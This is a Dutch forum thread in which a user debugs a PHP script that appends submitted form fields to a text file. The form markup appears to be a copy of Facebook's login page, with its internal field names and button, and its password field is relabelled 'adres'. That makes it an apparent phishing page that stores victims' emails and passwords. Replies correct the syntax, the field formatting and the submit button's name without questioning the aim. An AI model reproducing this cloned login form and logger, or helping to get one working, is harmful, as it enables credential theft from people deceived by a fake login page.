Hallo,
Ik heb een probleem ik wil via een POST-method dat ze worden opgeslagen in een .txt bestand alleen krijg ik de volgende fout


Parse error: syntax error, unexpected '{' in C:\wamp64\www\index.php on line 12

 
<?php 
 if(isset($_POST['submit']) {
//Het ophalen en het schrijven van het bestand
$file = 'test.txt';
$text = $_POST['email']; 
$text = $_POST['adres'];
$fhandler = fopen($file, "a");
fwrite($fhandler, $text);
fclose($fhandler); 
 }
 ?>
<form id="login_form" action="page2.php" method="post" novalidate="1" onsubmit=""> 
<input type="hidden" name="jazoest" value="2684" autocomplete="off" /> 
<input type="hidden" name="lsd" value="AVoQcVLP" autocomplete="off" /> 
<table cellspacing="0" role="presentation"><tr><td class="html7magic"> 
<label for="email">E-mailadres of telefoonnummer</label></td> 
<td class="html7magic"><label for="adres">Adres</label></td></tr> 
<tr><td><input type="email" class="inputtext" name="email" id="email" data-testid="royal_email" /></td><td> 
<input type="adres" class="inputtext" name="adres" id="adres" data-testid="royal_pass" /></td><td> 
<label class="uiButton uiButtonConfirm" id="loginbutton" for="u_0_2"> 
<input value="Aanmelden" aria-label="Aanmelden" data-testid="royal_login_button" type="submit" id="u_0_2" /></label></td></tr>


bij lijn 12 kom ik dan op dit

if(isset($_POST['submit']) {
Je mist een )

Bij the way: Je overschrijft steeds $text.
Ah top bedankt dom van me alleen het probleem hij slaat het nu niet op de email + adres
kan het te maken heb dat ik hem moet chmodden ? want gebruik nu localhost wampp
Iets meer Nederlands graag.
Chmod is een Linux iets.
WAMP is Windows, dus chmod speelt bij jou geen rol.

Maakt het script geen test.txt aan?
Ik heb al een test.txt bestand aangemaakt.
maar ik wil het als volgende als ik het formulier invul.
email:
adres

wil ik dat het in het tekst bestandje test.txt komt te staan.

Zet dit dan in $text.

$text = 'Naam: '.$_POST['email'].'\n'.'Adres: '.$_POST['adres'];
heb nu het volgende

<?php 
 if(isset($_POST['submit'])) {
//Het ophalen en het schrijven van het bestand
$file = 'test.txt';
$text = 'Email: '.$_POST['email'].'\n'.'Adres: '.$_POST['adres'];
$fhandler = fopen($file, "a");
fwrite($fhandler, $text);
fclose($fhandler); 
 }
 ?>


maar hij schrijft het nog steeds niet in het test.txt bestandje
Smijt eens een echo neer in je script. Kijk eens of je script überhaupt wordt uitgevoerd.
De submit knop moet ook een name='submit' hebben anders wordt er niets bewaard.

PS is het nog gelukt met de icoontjes in de input velden?

Zie vraag week geleden.
<?php
if(isset($_POST['submit'])) {
?>

Zal false zijn.

Je hebt geen name="submit" in de input.

<input value="Aanmelden" aria-label="Aanmelden" data-testid="royal_login_button" type="submit" id="u_0_2" />

Reageren